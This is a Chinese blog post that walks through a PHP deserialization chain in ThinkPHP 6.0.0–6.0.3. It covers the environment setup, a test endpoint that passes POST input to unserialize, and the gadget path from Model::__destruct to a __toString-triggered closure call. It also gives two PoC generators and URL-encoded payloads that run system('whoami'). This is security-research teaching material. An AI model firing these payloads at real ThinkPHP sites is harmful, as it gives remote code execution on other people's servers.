首页 > 编程语言 >thinkPHP6 反序列化

thinkPHP6 反序列化

时间:2024-08-28 16:03:59浏览次数:7  
标签:00think% 3Bs% 22% 3A% thinkPHP6 序列化 5CModel% 3A1%

thinkPHP6 反序列化

thinkPHP v6.0.0-6.0.3

环境搭建

新版v6基于 PHP7.1+ 开发

php-7.3.4
ThinkPHP v6.0.3

使用composer进行安装

composer create-project topthink/think=6.0.3 tp6.0

然后利用 phpstudy 打开框架,简单配置如下子,再同样的道理配置 phpstorm 的调试。

但是万事俱备正准备开审后发现打开怎么是 thinkphp 6.1.4 版本的。后面了解到 composer 下载 thinkphp 框架会自动下载当前的最新稳定版,然后我又去 github 把 thinkphp 6.0.3 的源码下下来,不过里面的是少了些文件的。需要执行 composer install,于是版本又变回了 thinkphp 6.1.4。

最后参考 https://blog.csdn.net/weixin_45794666/article/details/123237118 解决了问题。

修改 composer.json 文件参数

然后执行 composer update,又因为其版本不兼容 8.0.1 以上,然后根据报错文件位置修改最低 php 版本就可以访问了。

最终得到完美的 thinkphp 6.0.3

漏洞分析

__destruct 链条

添加反序列化入口。

public function poc(){  
    $tmp = $_POST['gaoren'];  
    echo $tmp;  
    unserialize($tmp);  
}

然后现在就是需要找入口类了,一般发序列化的触发函数就是 __destruct 或者 __wakeup,但是 __wakeup 一般是作为对象初始化使用,所以这里先进行全局搜索 __destruct

发现再 Model.php 中的 __destruct 方法再满足条件后调用了 save() 方法($this->lazySave 可以控制),跟进到该 save() 方法

这里想要调用 updateData() 方法需要满足上面的 if 条件,看到其还是个三元运算法,所以还需要其满足前面的条件 $result = $this->exists

先跟进 isEmpty()

$this→data 可控,只要让 data[] 不为空,就会 false,再看看第二个条件,需要其为 true

看到如果 $this->withEvent 为 false 就会返回 true。同样可以控制。然后继续看 $result = $this->exists,其中 $this->exists 可控。

所以直接跟进updateData()

我们需要调用 $this->checkAllowFields(),看到在其前面要满足 3 个 if 条件。

先看第一个 if 条件

if (false === $this->trigger('BeforeUpdate'))

和上面一样函数 trigger() 可控,

第二个 if 条件

empty($data)

跟进函数 getChangedData()

看到满足 if 条件后就会让 $data=1$a$b 都可以控制。

第三个 if 条件

if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime]))

看到是&&只要不满足任意一个条件就行,这里需要 $data 为空,但是上面设置了 $data 为非空,

所以直接来到 $this->checkAllowFields() 方法。

看到存在字符串拼接,那么是不是就可以触发到 __tostring 魔术方法,但是后面调试发现并不会到这里,跟进到 db(),

看到这里同样存在字符串拼接还是两个,会执行并且条件也非常好满足。那么现在再来理一下链子

__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()

需要满足的条件

$lazySave == true
$data不为空
$withEvent == false
$this->exists == true

__tostring 链条

后面就是延续 tp5 反序列化的触发 __toString 魔术方法了,直接跟进到 E:\WebCMS\thinkphp\tp6\vendor\topthink\think-orm\src\model\concern\Conversion.php 中的 __tostring

看到 toJson() 方法就在其上面,发现调用了 toArray 方法,跟进

这里重点是第三个 foreach 中的 getAttr() 方法,

但继续看下的 elseif 语句,如果不存在并且变量 $hasVisible 为 false 也可以调用 getAttr() 方法,而 $hasVisible 默认就是 false,所以会直接默认调用第二个 elseif 中的方法,

但是我在测试时发现在其打上断点没有用。但是在上面$data 的获取打上断点进入发现还是会调用到 getAttr() 方法,

继续进入 getValue() 方法。

这里再满足第一个 if 条件,不满足第二三个 if 条件就可以利用 $value = $closure($value, $this->data); 进行命令执行了。

先看第一个条件,需要存在 $this→withAttr[$fieldName],也就是数组 withAttr 存在 $fieldName 键对应的值,$fieldName 又等于 $name,朔源发现 $name 等于 $data 的键名。所以这里意思就是需要 $withAttr$data 存在相同的键名。

然后看第二个条件 $ relation 要为 false,其默认就是 false 。

最后一个条件是&&,满足后面一个即可,即 $this->withAttr[$ fieldName] 不为数组,也就是该键对应的值不为数组,这个肯定满足,我们执行恶意命令需要其等于 system

然后再让 $data 键对应的值为命令即可。理下后半段链子

__toString()-->toJson()-->toArray()-->getAttr()-->getValue()

需要构造

$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"];

poc 编写

poc1

先把 model 类中需要满足条件的变量进行赋值。

由于其是抽象类不能被实例化,需要用它的子类,发现 Pivot 继承了

所以先编写

<?php  
namespace think;  
abstract class Model{  
}  
  
namespace think\model;  
  
use think\Model;  
class Pivot extends Model{  
      
}

然后再开始给变量赋值

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["Lethe" => "whoami"];
    private $withAttr = ["Lethe" => "system"];
}

namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

这里看到

$a = new Pivot();
$b = new Pivot($a);

实际上就是给 $table 赋值为一个对象。然后字符串拼接触发 __tostring,但是按理说应该调用 model 类中的 tostirng 方法,但是由于这里面没有 tostring 方法,那又是怎么调用到 Conversion 中的 tostring 呢?

看到直接 use 了该 trait,所以可以直接调用其中的方法,所以也就是触发到了其 tostring 方法,后面的就不用多说什么了。

然后之所以加上 use model\concern\Attribute; 是因为 trait 没法实例化也就没法赋值了,但是可以通过这种方式进行赋值,use 它,然后类实例化后就有它。

生成 poc

O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7D

poc2

<?php  
namespace think\model\concern;  
trait Attribute  
{  
    private $data = ["key"=>"whoami"];  
    private $withAttr = ["key"=>"system"];  
}  
namespace think;  
abstract class Model  
{  
    use model\concern\Attribute;  
    private $lazySave = true;  
    protected $withEvent = false;  
    private $exists = true;  
    protected $name;  
    public function __construct($obj=""){  
        $this->name=$obj;  
    }  
}  
namespace think\model;  
use think\Model;  
class Pivot extends Model  
{}  
$a=new Pivot();  
$b=new Pivot($a);  
echo urlencode(serialize($b));

原理其实是差不多,

abstract class Model  
{  
    use model\concern\Attribute;  
    private $lazySave = true;  
    protected $withEvent = false;  
    private $exists = true;  
    protected $name;  
    public function __construct($obj=""){  
        $this->name=$obj;  
    }  
}  

$a=new Pivot();  
$b=new Pivot($a); 

只是这里并没有给 $suffix 或者是 $table 赋值,而是给 $name 赋值,调试

然后拼接调用 tostring 方法,

生成 poc

O%3A17%3A%22think%5Cmodel%5CPivot%22%3A6%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A7%3A%22%00%2A%00name%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A6%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7D

本地测试:

标签:00think%,3Bs%,22%,3A%,thinkPHP6,序列化,5CModel%,3A1%
From: https://www.cnblogs.com/gaorenyusi/p/18384979

相关文章

  • 序列化;RPC 【2024年8月28日随笔】
    序列化什么是序列化序列化:把对象转化为可传输的字节序列过程称为序列化反序列化:把字节序列还原为对象的过程称为反序列化为什么序列化序列化机制允许将实现序列化的Java对象转换位字节序列,这些字节序列可以保存在磁盘上,或通过网络传输,以达到以后恢复成原来的对象。序列化机......
  • 13.3 Java对象序列化梳理
    目录13.3Java对象序列化13.3.1 引入13.3.1 对象序列化与对象流1.Serializable接口2.ObjectInputStream类和ObjectOutputStream类13.3.2向ObjectOutputStream中写入对象13.3Java对象序列化13.3.1 引入应用场景:对象的寿命通常随着创建该对象程序的终止而终......
  • Java中的序列化与反序列化深度剖析
    序列化与反序列化在Java开发中扮演了重要角色,特别是在数据持久化、RPC(远程过程调用)以及分布式系统中。本篇博客将详细解析Java中的序列化机制,讨论常见的序列化框架,并提供实际代码示例帮助理解。什么是序列化与反序列化?序列化(Serialization):将Java对象转换为字节流的过程,以便将......
  • java反序列化——CC1链
    参考【【Java反序列化链】CommonsCollections1深入浅出,详细分析(cc1链)】【Java反序列化链】CommonsCollections1深入浅出,详细分析(cc1链)_哔哩哔哩_bilibilijava反序列化是java安全中非常重要的一点,也是最难的一点,我只能勉强跟着链子走一遍附上一些浅显的理解。 CC1链也......
  • 讲讲Java的序列化反序列化?
    序列化:把对象转换为字节序列的过程称为对象的序列化.反序列化:把字节序列恢复为对象的过程称为对象的反序列化.什么时候会用到当只在本地JVM里运行下Java实例,这个时候是不需要什么序列化和反序列化的,但当出现以下场景时,就需要序列化和反序列化了:当需要将内存中的对象持......
  • 讲讲Java的序列化反序列化?
    序列化:把对象转换为字节序列的过程称为对象的序列化.反序列化:把字节序列恢复为对象的过程称为对象的反序列化.什么时候会用到当只在本地JVM里运行下Java实例,这个时候是不需要什么序列化和反序列化的,但当出现以下场景时,就需要序列化和反序列化了:当需要将内存中的对象......
  • 关于protobuf的序列化与反序列化
    当我们要使用protobuf进行协议编写,且需要协议在网络中传输的时候,就需要将类或者xxx.proto文件序列化当需要将类序列化,且使用protobuf的时候,我们需要引入Google.Protobuf.Tools3.6.1和protobuf-portable-net2.0.0.668这两个库,版本根据需要自行选择引入类库完成后,将需要序......
  • 应用程自定义协议与序列化反序列化
        本篇将主要介绍在应用层中自定义的协议,自定义协议的同时还需要将我们的数据继续序列化和反序列化,所以本篇的重点为序列化、反序列化的原因以及如何自定义协议,接着探讨了关于为什么tcp协议可以支持全双工协议。还根据用户自定义协议结合tcpsocket编写了一份三......
  • PHP反序列化一
    1.序列化/反序列化序列化:对象转化为字节流反序列化:字节流转化为对象二者相互结合,可以轻松的存储和传输数据,使程序更具维护性2.反序列化漏洞原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的......
  • 反序列化刷题(二)
    反序列化刷题web259(SSRF)1、explod(',',"hello,ju,hey"):把字符串以逗号为判断点分为若干个数组,hellojuhey2、array_pop($x):删除数组中的最后一个元素1、$_SERVER['HTTP_X_FORWARDED_FOR']用来获取数据包的IP地址;我们目标要ip=127.0.0.1;这里可以用x-forwarded-for:127.0.0.1......